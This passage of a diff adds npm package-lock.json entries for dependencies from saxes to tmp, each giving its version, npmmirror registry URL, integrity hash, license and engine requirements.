"sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/semver": { + "version": "7.7.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.2", + "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.2.tgz", + "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmmirror.com/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/slice-ansi/-/slice-ansi-3.0.0.tgz", + "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/socket.io-client": { + "version": "4.8.1", + "resolved": "https://registry.npmmirror.com/socket.io-client/-/socket.io-client-4.8.1.tgz", + "integrity": "sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.2", + "engine.io-client": "~6.6.1", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-client/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io-parser": { + "version": "4.2.4", + "resolved": "https://registry.npmmirror.com/socket.io-parser/-/socket.io-parser-4.2.4.tgz", + "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "dev": true, + "license": "CC-BY-3.0" + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.21", + "resolved": "https://registry.npmmirror.com/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz", + "integrity": "sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/split": { + "version": "0.3.3", + "resolved": "https://registry.npmmirror.com/split/-/split-0.3.3.tgz", + "integrity": "sha512-wD2AeVmxXRBoX44wAycgjVpMhvbwdI2aZjCkvfNcH1YqHQvJVa1duWc73OyVGJUc05fhFaTZeQ/PYsrmyH0JVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "through": "2" + }, + "engines": { + "node": "*" + } + }, + "node_modules/sshpk": { + "version": "1.18.0", + "resolved": "https://registry.npmmirror.com/sshpk/-/sshpk-1.18.0.tgz", + "integrity": "sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/start-server-and-test": { + "version": "1.15.4", + "resolved": "https://registry.npmmirror.com/start-server-and-test/-/start-server-and-test-1.15.4.tgz", + "integrity": "sha512-ucQtp5+UCr0m4aHlY+aEV2JSYNTiMZKdSKK/bsIr6AlmwAWDYDnV7uGlWWEtWa7T4XvRI5cPYcPcQgeLqpz+Tg==", + "dev": true, + "license": "MIT", + "dependencies": { + "arg": "^5.0.2", + "bluebird": "3.7.2", + "check-more-types": "2.24.0", + "debug": "4.3.4", + "execa": "5.1.1", + "lazy-ass": "1.6.0", + "ps-tree": "1.2.0", + "wait-on": "7.0.1" + }, + "bin": { + "server-test": "src/bin/start.js", + "start-server-and-test": "src/bin/start.js", + "start-test": "src/bin/start.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/start-server-and-test/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/start-server-and-test/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/start-server-and-test/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/start-server-and-test/node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/start-server-and-test/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/stream-combiner": { + "version": "0.0.4", + "resolved": "https://registry.npmmirror.com/stream-combiner/-/stream-combiner-0.0.4.tgz", + "integrity": "sha512-rT00SPnTVyRsaSz5zgSPma/aHSOic5U1prhYdRy5HS2kTZviFpmDgzilbtsJsxiroqACmayynDN/9VzIbX5DOw==", + "dev": true, + "license": "MIT", + "dependencies": { + "duplexer": "~0.1.1" + } + }, + "node_modules/streamx": { + "version": "2.22.0", + "resolved": "https://registry.npmmirror.com/streamx/-/streamx-2.22.0.tgz", + "integrity": "sha512-sLh1evHOzBy/iWRiR6d1zRcLao4gGZr3C1kzNz4fopCOKJb6xD9ub8Mpi9Mr1R6id5o43S+d93fI48UC5uM9aw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-fifo": "^1.3.2", + "text-decoder": "^1.1.0" + }, + "optionalDependencies": { + "bare-events": "^2.2.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string.prototype.padend": { + "version": "3.1.6", + "resolved": "https://registry.npmmirror.com/string.prototype.padend/-/string.prototype.padend-3.1.6.tgz", + "integrity": "sha512-XZpspuSB7vJWhvJc9DLSlrXl1mcA2BdoY5jjnS135ydXqLoqhs96JjDtCkjJEQHvfqZIp9hBuBMgI589peyx9Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmmirror.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-literal": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/strip-literal/-/strip-literal-1.3.0.tgz", + "integrity": "sha512-PugKzOsyXpArk0yWmUwqOZecSO0GH0bPoctLcqNDH9J04pVW3lflYE0ujElBGTloevcxF5MofAOZ7C5l2b+wLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.10.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmmirror.com/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true, + "license": "MIT" + }, + "node_modules/tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmmirror.com/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/text-decoder": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/text-decoder/-/text-decoder-1.2.3.tgz", + "integrity": "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "b4a": "^1.6.4" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true, + "license": "MIT" + }, + "node_modules/throttleit": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/throttleit/-/throttleit-1.0.1.tgz", + "integrity": "sha512-vDZpf9Chs9mAdfY046mcPt8fg5QSZr37hEH4TXYBnDF+izxgrbRGUAAaBvIk/fJm9aOFCGFd1EsNg5AZCbnQCQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmmirror.com/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmmirror.com/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinypool": { + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/tinypool/-/tinypool-0.3.1.tgz", + "integrity": "sha512-zLA1ZXlstbU2rlpA4CIeVaqvWq41MTWqLY3FfsAXgC8+f7Pk7zroaJQxDgxn1xNudKW6Kmj4808rPFShUlIRmQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tinyspy": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/tinyspy/-/tinyspy-1.1.1.tgz", + "integrity": "sha512-UVq5AXt/gQlti7oxoIg5oi/9r0WpF7DGEVwXgqWSMmyN16+e3tl5lIvTaOpJ3TAtu5xFzWccFRM4R5NaWHF+4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tmp": { + "version": "0.2.3", + "resolved": "https://registry.npmmirror.com/tmp/-/tmp-0.2.3.tgz", + "integrity": "sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.14" + } + }, + 